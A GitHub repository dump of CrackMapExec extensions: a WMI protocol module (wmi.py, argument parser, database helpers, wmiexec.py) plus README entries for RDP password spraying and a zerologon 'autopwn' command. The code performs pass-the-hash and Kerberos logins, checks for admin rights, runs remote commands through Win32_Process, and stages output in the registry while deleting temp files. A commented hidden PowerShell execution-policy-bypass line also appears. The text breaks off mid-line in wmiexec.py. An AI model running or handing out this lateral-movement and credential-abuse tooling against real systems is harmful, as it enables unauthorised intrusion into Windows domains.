├── README.md ├── cme-wmi ├── wmi.py └── wmi │ ├── __init__.py │ ├── database.py │ ├── db_navigator.py │ ├── proto_args.py │ ├── wmiexec.py │ ├── wmiexec_classout.py │ └── wmiexec_event.py ├── cme-xfreerdp ├── xfreerdp.py └── xfreerdp │ ├── __init__.py │ ├── database.py │ ├── db_navigator.py │ └── proto_args.py └── cme-zerologon-autopwn └── zerologon.py /README.md: -------------------------------------------------------------------------------- 1 | # CrackMapExec-Extension 2 | CrackMapExec extension module/protocol support 3 | 4 | ## Table of content 5 | 6 | * [Overview](#overview) 7 | * [Usage](#Usage) 8 | * [Todo](#todo) 9 | * [References](#References) 10 | 11 | ### Overview 12 | 13 | - ### cme-xfreerdp 14 | Original from: [RDPassSpray.py](https://github.com/xFreed0m/RDPassSpray/blob/master/RDPassSpray.py) 15 | ![image](https://user-images.githubusercontent.com/30458572/175292568-0d8472eb-7b61-4213-bd00-549f198f4676.png) 16 | 17 | - ### cme-wmi 18 | Merged in official branch now. :) 19 | 20 | - ### cme-zerologon-autopwn 21 | `CME 192.168.1.1 -u '' -p '' -M zerologon -o mode=pwn` 22 | 23 | ### Usage (development version) 24 | 25 | - xfreerdp binary: [link](https://github.com/FreeRDP/FreeRDP/wiki/PreBuilds) 26 | - wfreerdp binary: [link](https://ci.freerdp.com/job/freerdp-nightly-windows/arch=win64,label=vs2013/) 27 | 28 | - Sys env: ubuntu 22.04 / kali 29 | ``` 30 | git clone https://github.com/mpgn/CrackMapExec.git 31 | cd CrackMapExec 32 | git clone https://github.com/XiaoliChan/CrackMapExec-Extension.git 33 | cp -r CrackMapExec-Extension/cme-xfreerdp/* cme/protocols/ 34 | python3 -m pip install pipx 35 | pipx install . 36 | ``` 37 | -------------------------------------------------------------------------------- /cme-wmi/wmi.py: -------------------------------------------------------------------------------- 1 | import os, struct, logging 2 | 3 | from io import StringIO 4 | from six import indexbytes 5 | from datetime import datetime 6 | from cme.config import process_secret 7 | from cme.connection import * 8 | from cme.logger import CMEAdapter 9 | from cme.protocols.wmi import wmiexec, wmiexec_event 10 | 11 | from impacket import ntlm 12 | from impacket.uuid import uuidtup_to_bin 13 | from impacket.krb5.ccache import CCache 14 | from impacket.dcerpc.v5.dtypes import NULL 15 | from impacket.dcerpc.v5 import transport, epm 16 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck 17 | from impacket.dcerpc.v5.dcomrt import DCOMConnection 18 | from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, WBEM_FLAG_FORWARD_ONLY, IWbemLevel1Login 19 | 20 | MSRPC_UUID_PORTMAP = uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0')) 21 | 22 | class wmi(connection): 23 | 24 | def __init__(self, args, db, host): 25 | self.domain = None 26 | self.hash = '' 27 | self.lmhash = '' 28 | self.nthash = '' 29 | self.fqdn = '' 30 | self.remoteName = '' 31 | self.server_os = None 32 | self.doKerberos = False 33 | self.stringBinding = None 34 | # From: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/18d8fbe8-a967-4f1c-ae50-99ca8e491d2d 35 | self.rpc_error_status = { 36 | "0000052F" : "STATUS_ACCOUNT_RESTRICTION", 37 | "00000533" : "STATUS_ACCOUNT_DISABLED", 38 | "00000775" : "STATUS_ACCOUNT_LOCKED_OUT", 39 | "00000701" : "STATUS_ACCOUNT_EXPIRED", 40 | "00000532" : "STATUS_PASSWORD_EXPIRED", 41 | "00000530" : "STATUS_INVALID_LOGON_HOURS", 42 | "00000531" : "STATUS_INVALID_WORKSTATION", 43 | "00000569" : "STATUS_LOGON_TYPE_NOT_GRANTED", 44 | "00000773" : "STATUS_PASSWORD_MUST_CHANGE", 45 | "00000005" : "STATUS_ACCESS_DENIED", 46 | "0000052E" : "STATUS_LOGON_FAILURE", 47 | "0000052B" : "STATUS_WRONG_PASSWORD", 48 | "00000721" : "RPC_S_SEC_PKG_ERROR" 49 | } 50 | 51 | connection.__init__(self, args, db, host) 52 | 53 | def proto_flow(self): 54 | self.proto_logger() 55 | if self.create_conn_obj(): 56 | self.enum_host_info() 57 | self.print_host_info() 58 | if self.login(): 59 | if hasattr(self.args, 'module') and self.args.module: 60 | self.call_modules() 61 | else: 62 | self.call_cmd_args() 63 | 64 | def proto_logger(self): 65 | self.logger = CMEAdapter(extra={'protocol': 'WMI', 66 | 'host': self.host, 67 | 'port': self.args.port, 68 | 'hostname': self.hostname}) 69 | 70 | def create_conn_obj(self): 71 | if self.remoteName == '': 72 | self.remoteName = self.host 73 | try: 74 | rpctansport = transport.DCERPCTransportFactory(r'ncacn_ip_tcp:{0}[{1}]'.format(self.remoteName, str(self.args.port))) 75 | rpctansport.set_credentials(username="", password="", domain="", lmhash="", nthash="", aesKey="") 76 | rpctansport.setRemoteHost(self.host) 77 | rpctansport.set_connect_timeout(self.args.rpc_timeout) 78 | dce = rpctansport.get_dce_rpc() 79 | dce.set_auth_type(RPC_C_AUTHN_WINNT) 80 | dce.connect() 81 | dce.bind(MSRPC_UUID_PORTMAP) 82 | dce.disconnect() 83 | except Exception as e: 84 | return False 85 | else: 86 | self.conn = rpctansport 87 | return True 88 | 89 | def enum_host_info(self): 90 | # All code pick from DumpNTLNInfo.py 91 | # https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py 92 | ntlmChallenge = None 93 | 94 | bind = MSRPCBind() 95 | item = CtxItem() 96 | item['AbstractSyntax'] = epm.MSRPC_UUID_PORTMAP 97 | item['TransferSyntax'] = uuidtup_to_bin(('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')) 98 | item['ContextID'] = 0 99 | item['TransItems'] = 1 100 | bind.addCtxItem(item) 101 | 102 | packet = MSRPCHeader() 103 | packet['type'] = MSRPC_BIND 104 | packet['pduData'] = bind.getData() 105 | packet['call_id'] = 1 106 | 107 | auth = ntlm.getNTLMSSPType1('', '', signingRequired=True, use_ntlmv2=True) 108 | sec_trailer = SEC_TRAILER() 109 | sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT 110 | sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_INTEGRITY 111 | sec_trailer['auth_ctx_id'] = 0 + 79231 112 | pad = (4 - (len(packet.get_packet()) % 4)) % 4 113 | if pad != 0: 114 | packet['pduData'] += b'\xFF'*pad 115 | sec_trailer['auth_pad_len']=pad 116 | packet['sec_trailer'] = sec_trailer 117 | packet['auth_data'] = auth 118 | 119 | try: 120 | self.conn.connect() 121 | self.conn.send(packet.get_packet()) 122 | buffer = self.conn.recv() 123 | except: 124 | buffer = 0 125 | 126 | if buffer != 0: 127 | response = MSRPCHeader(buffer) 128 | bindResp = MSRPCBindAck(response.getData()) 129 | 130 | ntlmChallenge = ntlm.NTLMAuthChallenge(bindResp['auth_data']) 131 | 132 | if ntlmChallenge['TargetInfoFields_len'] > 0: 133 | av_pairs = ntlm.AV_PAIRS(ntlmChallenge['TargetInfoFields'][:ntlmChallenge['TargetInfoFields_len']]) 134 | if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1] is not None: 135 | try: 136 | self.hostname = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') 137 | except: 138 | self.hostname = self.host 139 | if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1] is not None: 140 | try: 141 | self.domain = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le') 142 | except: 143 | self.domain = self.args.domain 144 | if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1] is not None: 145 | try: 146 | self.fqdn = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode('utf-16le') 147 | except: 148 | pass 149 | if 'Version' in ntlmChallenge.fields: 150 | version = ntlmChallenge['Version'] 151 | if len(version) >= 4: 152 | self.server_os = "Windows NT %d.%d Build %d" % (indexbytes(version,0), indexbytes(version,1), struct.unpack(' 0: 186 | self.logger.fail(f'Check admin error: dcom initialization failed with stringbinding: "{self.stringBinding}", please try "--rpc-timeout" option. (probably is admin)') 187 | elif str(e).find("access_denied") > 0: 188 | pass 189 | else: 190 | self.logger.fail(str(e)) 191 | else: 192 | try: 193 | iWbemLevel1Login = IWbemLevel1Login(iInterface) 194 | iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) 195 | except Exception as e: 196 | try: 197 | dcom.disconnect() 198 | except: 199 | pass 200 | 201 | if str(e).find("access_denied") > 0: 202 | pass 203 | else: 204 | self.logger.fail(str(e)) 205 | else: 206 | dcom.disconnect() 207 | self.logger.extra['protocol'] = "WMI" 208 | self.admin_privs = True 209 | return 210 | 211 | def firewall_check(self, iInterface ,timeout): 212 | stringBindings = iInterface.get_cinstance().get_string_bindings() 213 | for strBinding in stringBindings: 214 | if strBinding['wTowerId'] == 7: 215 | if strBinding['aNetworkAddr'].find('[') >= 0: 216 | binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[') 217 | bindingPort = '[' + bindingPort 218 | else: 219 | binding = strBinding['aNetworkAddr'] 220 | bindingPort = '' 221 | 222 | if binding.upper().find(iInterface.get_target().upper()) >= 0: 223 | stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1] 224 | break 225 | elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition('.')[0]) >= 0: 226 | stringBinding = 'ncacn_ip_tcp:%s%s' % (iInterface.get_target(), bindingPort) 227 | 228 | self.stringBinding = stringBinding 229 | rpctransport = transport.DCERPCTransportFactory(stringBinding) 230 | rpctransport.set_connect_timeout(timeout) 231 | rpctransport.connect() 232 | rpctransport.disconnect() 233 | 234 | def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): 235 | logging.getLogger("impacket").disabled = True 236 | lmhash = '' 237 | nthash = '' 238 | self.password = password 239 | self.username = username 240 | self.domain = domain 241 | self.remoteName = self.fqdn 242 | self.create_conn_obj() 243 | 244 | if password == "": 245 | if ntlm_hash.find(':') != -1: 246 | lmhash, nthash = ntlm_hash.split(':') 247 | else: 248 | nthash = ntlm_hash 249 | self.nthash = nthash 250 | self.lmhash = lmhash 251 | 252 | if not all("" == s for s in [nthash, password, aesKey]): 253 | kerb_pass = next(s for s in [nthash, password, aesKey] if s) 254 | else: 255 | kerb_pass = "" 256 | 257 | if useCache: 258 | if kerb_pass == "": 259 | ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) 260 | username = ccache.credentials[0].header['client'].prettyPrint().decode().split("@")[0] 261 | self.username = username 262 | 263 | used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" 264 | try: 265 | self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey) 266 | self.conn.set_kerberos(True, kdcHost) 267 | dce = self.conn.get_dce_rpc() 268 | dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) 269 | dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 270 | dce.connect() 271 | dce.bind(MSRPC_UUID_PORTMAP) 272 | except Exception as e: 273 | dce.disconnect() 274 | error_msg = str(e).lower() 275 | if "unpack requires a buffer of 4 bytes" in error_msg: 276 | self.logger.fail("Kerberos authentication failure") 277 | elif "kerberos sessionerror" in str(e).lower(): 278 | out = "{}\\{}{} {}".format(self.domain, username, used_ccache, list(e.getErrorString())[0]) 279 | self.logger.fail(out, color="magenta") 280 | return False 281 | else: 282 | out = "{}\\{}{} {}".format(self.domain, username, used_ccache, str(e)) 283 | self.logger.fail(out, color="red") 284 | return False 285 | else: 286 | try: 287 | # Get data from rpc connection if got vaild creds 288 | entry_handle = epm.ept_lookup_handle_t() 289 | request = epm.ept_lookup() 290 | request['inquiry_type'] = 0x0 291 | request['object'] = NULL 292 | request['Ifid'] = NULL 293 | request['vers_option'] = 0x1 294 | request['entry_handle'] = entry_handle 295 | request['max_ents'] = 1 296 | resp = dce.request(request) 297 | except Exception as e: 298 | dce.disconnect() 299 | error_msg = str(e).lower() 300 | for code in self.rpc_error_status.keys(): 301 | if code in error_msg: 302 | error_msg = self.rpc_error_status[code] 303 | out = "{}\\{}{} {}".format(self.domain, username, used_ccache, error_msg.upper()) 304 | self.logger.fail(out, color=("red" if "access_denied" in error_msg else "magenta")) 305 | return False 306 | else: 307 | self.doKerberos = True 308 | self.check_if_admin() 309 | dce.disconnect() 310 | out = "{}\\{}{} {}".format(self.domain, username, used_ccache, self.mark_pwned()) 311 | self.logger.success(out) 312 | return True 313 | 314 | def plaintext_login(self, domain, username, password): 315 | self.password = password 316 | self.username = username 317 | self.domain = domain 318 | try: 319 | self.conn.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash) 320 | dce = self.conn.get_dce_rpc() 321 | dce.set_auth_type(RPC_C_AUTHN_WINNT) 322 | dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 323 | dce.connect() 324 | dce.bind(MSRPC_UUID_PORTMAP) 325 | except Exception as e: 326 | dce.disconnect() 327 | out = "{}\\{}{} {}".format(self.domain, username, password, str(e)) 328 | self.logger.fail(out, color="red") 329 | else: 330 | try: 331 | # Get data from rpc connection if got vaild creds 332 | entry_handle = epm.ept_lookup_handle_t() 333 | request = epm.ept_lookup() 334 | request['inquiry_type'] = 0x0 335 | request['object'] = NULL 336 | request['Ifid'] = NULL 337 | request['vers_option'] = 0x1 338 | request['entry_handle'] = entry_handle 339 | request['max_ents'] = 1 340 | resp = dce.request(request) 341 | except Exception as e: 342 | dce.disconnect() 343 | error_msg = str(e).lower() 344 | for code in self.rpc_error_status.keys(): 345 | if code in error_msg: 346 | error_msg = self.rpc_error_status[code] 347 | self.logger.fail((f"{self.domain}\\{self.username}:{process_secret(self.password)} ({error_msg.upper()})"), color=("red" if "access_denied" in error_msg else "magenta")) 348 | return False 349 | else: 350 | self.check_if_admin() 351 | dce.disconnect() 352 | out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}" 353 | if self.username == "" and self.password == "": 354 | out += "(Default allow anonymous login)" 355 | self.logger.success(out) 356 | return True 357 | 358 | def hash_login(self, domain, username, ntlm_hash): 359 | self.username = username 360 | lmhash = '' 361 | nthash = '' 362 | if ntlm_hash.find(':') != -1: 363 | self.lmhash, self.nthash = ntlm_hash.split(':') 364 | else: 365 | lmhash = '' 366 | nthash = ntlm_hash 367 | 368 | self.nthash = nthash 369 | self.lmhash = lmhash 370 | 371 | try: 372 | self.conn.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=lmhash, nthash=nthash) 373 | dce = self.conn.get_dce_rpc() 374 | dce.set_auth_type(RPC_C_AUTHN_WINNT) 375 | dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 376 | dce.connect() 377 | dce.bind(MSRPC_UUID_PORTMAP) 378 | except Exception as e: 379 | dce.disconnect() 380 | out = "{}\\{}{} {}".format(self.domain, username, nthash, str(e)) 381 | self.logger.fail(out, color="red") 382 | else: 383 | try: 384 | # Get data from rpc connection if got vaild creds 385 | entry_handle = epm.ept_lookup_handle_t() 386 | request = epm.ept_lookup() 387 | request['inquiry_type'] = 0x0 388 | request['object'] = NULL 389 | request['Ifid'] = NULL 390 | request['vers_option'] = 0x1 391 | request['entry_handle'] = entry_handle 392 | request['max_ents'] = 1 393 | resp = dce.request(request) 394 | except Exception as e: 395 | dce.disconnect() 396 | error_msg = str(e).lower() 397 | for code in self.rpc_error_status.keys(): 398 | if code in error_msg: 399 | error_msg = self.rpc_error_status[code] 400 | self.logger.fail((f"{self.domain}\\{self.username}:{process_secret(self.nthash)} ({error_msg.upper()})"), color=("red" if "access_denied" in error_msg else "magenta")) 401 | return False 402 | else: 403 | self.check_if_admin() 404 | dce.disconnect() 405 | out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" 406 | if self.username == "" and self.password == "": 407 | out += "(Default allow anonymous login)" 408 | self.logger.success(out) 409 | return True 410 | 411 | # It's very complex to use wmi from rpctansport "convert" to dcom, so let we use dcom directly. 412 | @requires_admin 413 | def wmi_query(self): 414 | results_WQL = "\r" 415 | WQL = self.args.wmi_query.strip('\n') 416 | try: 417 | dcom = DCOMConnection(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos ,kdcHost=self.kdcHost, aesKey=self.aesKey) 418 | iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login,IID_IWbemLevel1Login) 419 | iWbemLevel1Login = IWbemLevel1Login(iInterface) 420 | iWbemServices= iWbemLevel1Login.NTLMLogin(self.args.namespace , NULL, NULL) 421 | iWbemLevel1Login.RemRelease() 422 | iEnumWbemClassObject = iWbemServices.ExecQuery(WQL) 423 | except Exception as e: 424 | self.logger.fail('Execute WQL error: {}'.format(e)) 425 | iWbemServices.RemRelease() 426 | dcom.disconnect() 427 | else: 428 | self.logger.info(f"Executing WQL syntax: {WQL}") 429 | while True: 430 | try: 431 | wmi_results = iEnumWbemClassObject.Next(0xffffffff, 1)[0] 432 | record = wmi_results.getProperties() 433 | for k,v in record.items(): 434 | results_WQL += '{} => {}\r\n'.format(k,v['value']) 435 | except Exception as e: 436 | if str(e).find('S_FALSE') < 0: 437 | raise e 438 | else: 439 | break 440 | try: 441 | iEnumWbemClassObject.RemRelease() 442 | iWbemServices.RemRelease() 443 | dcom.disconnect() 444 | except: 445 | pass 446 | 447 | self.logger.success('Executed WQL: {}'.format(WQL)) 448 | buf = StringIO(results_WQL.rstrip('\r\n')).readlines() 449 | for line in buf: 450 | self.logger.highlight(line.strip()) 451 | 452 | @requires_admin 453 | def execute(self, get_output=False): 454 | output = "" 455 | command = self.args.execute 456 | 457 | if not self.args.no_output: 458 | get_output = True 459 | 460 | if "systeminfo" in command and self.args.interval_time < 10: 461 | self.logger.fail("Execute 'systeminfo' must set the interval time higher than 10 seconds") 462 | return False 463 | 464 | if self.server_os is not None and "NT 5" in self.server_os: 465 | self.logger.fail("Not support current server os (version < NT 6)") 466 | return False 467 | 468 | if self.args.exec_method == "wmiexec": 469 | try: 470 | exec_method = wmiexec.WMIEXEC(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.aesKey, self.logger, self.args.interval_time, self.args.codec) 471 | output = exec_method.execute(command, get_output) 472 | except Exception as e: 473 | try: 474 | exec_method._WMIEXEC__dcom.disconnect() 475 | except: 476 | pass 477 | self.logger.fail('Execute command error: {}'.format(str(e))) 478 | self.conn.disconnect() 479 | elif self.args.exec_method == "wmiexec-event": 480 | try: 481 | exec_method = wmiexec_event.WMIEXEC_EVENT(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.aesKey, self.logger, self.args.interval_time, self.args.codec) 482 | output = exec_method.execute(command, get_output) 483 | except Exception as e: 484 | try: 485 | exec_method._WMIEXEC_EVENT__dcom.disconnect() 486 | except: 487 | pass 488 | self.logger.fail('Execute command error: {}'.format(str(e))) 489 | self.conn.disconnect() 490 | 491 | if self.args.execute: 492 | if output == "" and get_output: 493 | self.logger.fail("Execute command failed, probabaly got detection by AV.") 494 | else: 495 | self.logger.success(f'Executed command: "{command}" via {self.args.exec_method}') 496 | buf = StringIO(output).readlines() 497 | for line in buf: 498 | self.logger.highlight(line.strip()) -------------------------------------------------------------------------------- /cme-wmi/wmi/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /cme-wmi/wmi/database.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from pathlib import Path 5 | from sqlalchemy.orm import sessionmaker, scoped_session 6 | from sqlalchemy import MetaData, Table 7 | from sqlalchemy.exc import ( 8 | IllegalStateChangeError, 9 | NoInspectionAvailable, 10 | NoSuchTableError, 11 | ) 12 | from cme.logger import cme_logger 13 | 14 | 15 | class database: 16 | def __init__(self, db_engine): 17 | self.CredentialsTable = None 18 | self.HostsTable = None 19 | 20 | self.db_engine = db_engine 21 | self.db_path = self.db_engine.url.database 22 | self.protocol = Path(self.db_path).stem.upper() 23 | self.metadata = MetaData() 24 | self.reflect_tables() 25 | session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) 26 | 27 | Session = scoped_session(session_factory) 28 | # this is still named "conn" when it is the session object; TODO: rename 29 | self.conn = Session() 30 | 31 | @staticmethod 32 | def db_schema(db_conn): 33 | db_conn.execute( 34 | """CREATE TABLE "credentials" ( 35 | "id" integer PRIMARY KEY, 36 | "username" text, 37 | "password" text 38 | )""" 39 | ) 40 | 41 | db_conn.execute( 42 | """CREATE TABLE "hosts" ( 43 | "id" integer PRIMARY KEY, 44 | "ip" text, 45 | "hostname" text, 46 | "port" integer 47 | )""" 48 | ) 49 | 50 | def reflect_tables(self): 51 | with self.db_engine.connect() as conn: 52 | try: 53 | self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine) 54 | self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine) 55 | except (NoInspectionAvailable, NoSuchTableError): 56 | print( 57 | f""" 58 | [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch 59 | [-] This is probably because a newer version of CME is being ran on an old DB schema 60 | [-] Optionally save the old DB data (`cp {self.db_path} ~/cme_{self.protocol.lower()}.bak`) 61 | [-] Then remove the CME {self.protocol} DB (`rm -f {self.db_path}`) and run CME to initialize the new DB""" 62 | ) 63 | exit() 64 | 65 | def shutdown_db(self): 66 | try: 67 | self.conn.close() 68 | # due to the async nature of CME, sometimes session state is a bit messy and this will throw: 69 | # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and 70 | # this would cause an unexpected state change to 71 | except IllegalStateChangeError as e: 72 | cme_logger.debug(f"Error while closing session db object: {e}") 73 | 74 | def clear_database(self): 75 | for table in self.metadata.sorted_tables: 76 | self.conn.execute(table.delete()) 77 | -------------------------------------------------------------------------------- /cme-wmi/wmi/db_navigator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from cme.cmedb import DatabaseNavigator, print_help 5 | 6 | 7 | class navigator(DatabaseNavigator): 8 | def do_clear_database(self, line): 9 | if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y": 10 | self.db.clear_database() 11 | 12 | def help_clear_database(self): 13 | help_string = """ 14 | clear_database 15 | THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE 16 | YOU CANNOT UNDO THIS COMMAND 17 | """ 18 | print_help(help_string) 19 | -------------------------------------------------------------------------------- /cme-wmi/wmi/proto_args.py: -------------------------------------------------------------------------------- 1 | from argparse import _StoreTrueAction 2 | 3 | def proto_args(parser, std_parser, module_parser): 4 | wmi_parser = parser.add_parser('wmi', help="own stuff using WMI", parents=[std_parser, module_parser], conflict_handler='resolve') 5 | wmi_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') 6 | wmi_parser.add_argument("--port", type=int, choices={135}, default=135, help="WMI port (default: 135)") 7 | wmi_parser.add_argument("--rpc-timeout", help="RPC connection timeout, default 2 secondes", type=int, default=2) 8 | 9 | # For domain options 10 | dgroup = wmi_parser.add_mutually_exclusive_group() 11 | domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', default=None, type=str, help="Domain to authenticate to") 12 | dgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target') 13 | 14 | egroup = wmi_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") 15 | egroup.add_argument("-q", metavar='QUERY', dest='wmi_query',type=str, help='Issues the specified WMI query') 16 | egroup.add_argument("--namespace", metavar='NAMESPACE', type=str, default='root\\cimv2', help='WMI Namespace (default: root\\cimv2)') 17 | 18 | cgroup = wmi_parser.add_argument_group("Command Execution", "Options for executing commands") 19 | cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") 20 | cgroup.add_argument("-x", metavar='COMMAND', dest='execute', type=str, help='Creates a new cmd process and executes the specified command with output') 21 | cgroup.add_argument("--exec-method", choices={"wmiexec", "wmiexec-event"}, default="wmiexec", 22 | help="method to execute the command. (default: wmiexec). " 23 | "[wmiexec (win32_process + StdRegProv)]: get command results over registry instead of using smb connection. " 24 | "[wmiexec-event (T1546.003)]: this method is not very stable, highly recommend use this method in single host, " 25 | "use in multiple hosts will may get crash. (try again if you get crash.)") 26 | cgroup.add_argument("--interval-time", default=5 ,metavar='INTERVAL_TIME', dest='interval_time', type=int, help='Set interval time(seconds) when executing command, unrecommend set it lower than 5') 27 | cgroup.add_argument("--codec", default="utf-8", 28 | help="Set encoding used (codec) from the target's output (default " 29 | "\"utf-8\"). If errors are detected, run chcp.com at the target, " 30 | "map the result with " 31 | "https://docs.python.org/3/library/codecs.html#standard-encodings and then execute " 32 | "again with --codec and the corresponding codec") 33 | return parser 34 | 35 | def get_conditional_action(baseAction): 36 | class ConditionalAction(baseAction): 37 | def __init__(self, option_strings, dest, **kwargs): 38 | x = kwargs.pop('make_required', []) 39 | super(ConditionalAction, self).__init__(option_strings, dest, **kwargs) 40 | self.make_required = x 41 | 42 | def __call__(self, parser, namespace, values, option_string=None): 43 | for x in self.make_required: 44 | x.required = True 45 | super(ConditionalAction, self).__call__(parser, namespace, values, option_string) 46 | 47 | return ConditionalAction -------------------------------------------------------------------------------- /cme-wmi/wmi/wmiexec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # 4 | # 5 | # Author: xiaolichan 6 | # Link: https://github.com/XiaoliChan/wmiexec-RegOut/blob/main/wmiexec-regOut.py 7 | # Note: windows version under NT6 not working with this command execution way 8 | # https://github.com/XiaoliChan/wmiexec-RegOut/blob/main/wmiexec-reg-sch-UnderNT6-wip.py -- WIP 9 | # 10 | # Description: 11 | # For more details, please check out my repository. 12 | # https://github.com/XiaoliChan/wmiexec-RegOut 13 | # 14 | # Workflow: 15 | # Stage 1: 16 | # cmd.exe /Q /c {command} > C:\windows\temp\{random}.txt (aka command results) 17 | # 18 | # powershell convert the command results into base64, and save it into C:\windows\temp\{random2}.txt (now the command results was base64 encoded) 19 | # 20 | # Create registry path: HKLM:\Software\Classes\hello, then add C:\windows\temp\{random2}.txt into HKLM:\Software\Classes\hello\{NewKey} 21 | # 22 | # Remove anythings which in C:\windows\temp\ 23 | # 24 | # Stage 2: 25 | # WQL query the HKLM:\Software\Classes\hello\{NewKey} and get results, after the results(base64 strings) retrieved, removed 26 | 27 | import time 28 | import uuid 29 | import base64 30 | 31 | from cme.helpers.misc import gen_random_string 32 | from impacket.dcerpc.v5.dtypes import NULL 33 | from impacket.dcerpc.v5.dcomrt import DCOMConnection 34 | from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, WBEM_FLAG_FORWARD_ONLY, IWbemLevel1Login 35 | 36 | class WMIEXEC: 37 | def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, interval_time, codec): 38 | self.__host = host 39 | self.__username = username 40 | self.__password = password 41 | self.__domain = domain 42 | self.__lmhash = lmhash 43 | self.__nthash = nthash 44 | self.__doKerberos = doKerberos 45 | self.__kdcHost = kdcHost 46 | self.__aesKey = aesKey 47 | self.logger = logger 48 | self.__interval_time = interval_time 49 | self.__registry_Path = "" 50 | self.__outputBuffer = "" 51 | self.__retOutput = True 52 | 53 | self.__shell = 'cmd.exe /Q /c ' 54 | #self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ' 55 | #self.__pwsh = 'powershell.exe -Enc ' 56 | self.__pwd = str('C:\\') 57 | self.__codec = codec 58 | 59 | self.__dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos ,kdcHost=self.__kdcHost, aesKey=self.__aesKey) 60 | iInterface = self.__dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login) 61 | iWbemLevel1Login = IWbemLevel1Login(iInterface) 62 | self.__iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) 63 | iWbemLevel1Login.RemRelease() 64 | self.__win32Process, _ = self.__iWbemServices.GetObject('Win32_Process') 65 | 66 | def execute(self, command, output=False): 67 | self.__retOutput = output 68 | if self.__retOutput: 69 | self.execute_WithOutput(command) 70 | else: 71 | command = self.__shell + command 72 | self.execute_remote(command) 73 | 74 | try: 75 | self.__dcom.disconnect() 76 | except: 77 | pass 78 | 79 | return self.__outputBuffer 80 | 81 | def execute_remote(self, command): 82 | self.logger.info(f"Executing command: {command}") 83 | try: 84 | self.__win32Process.Create(command, self.__pwd, None) 85 | except Exception as e: 86 | self.logger.error((str(e))) 87 | 88 | def execute_WithOutput(self, command): 89 | result_output = f"C:\\windows\\temp\\{str(uuid.uuid4())}.txt" 90 | result_output_b64 = f"C:\\windows\\temp\\{str(uuid.uuid4())}.txt" 91 | keyName = str(uuid.uuid4()) 92 | self.__registry_Path = f"Software\\Classes\\{gen_random_string(6)}" 93 | 94 | command = fr'''{self.__shell} {command} 1> 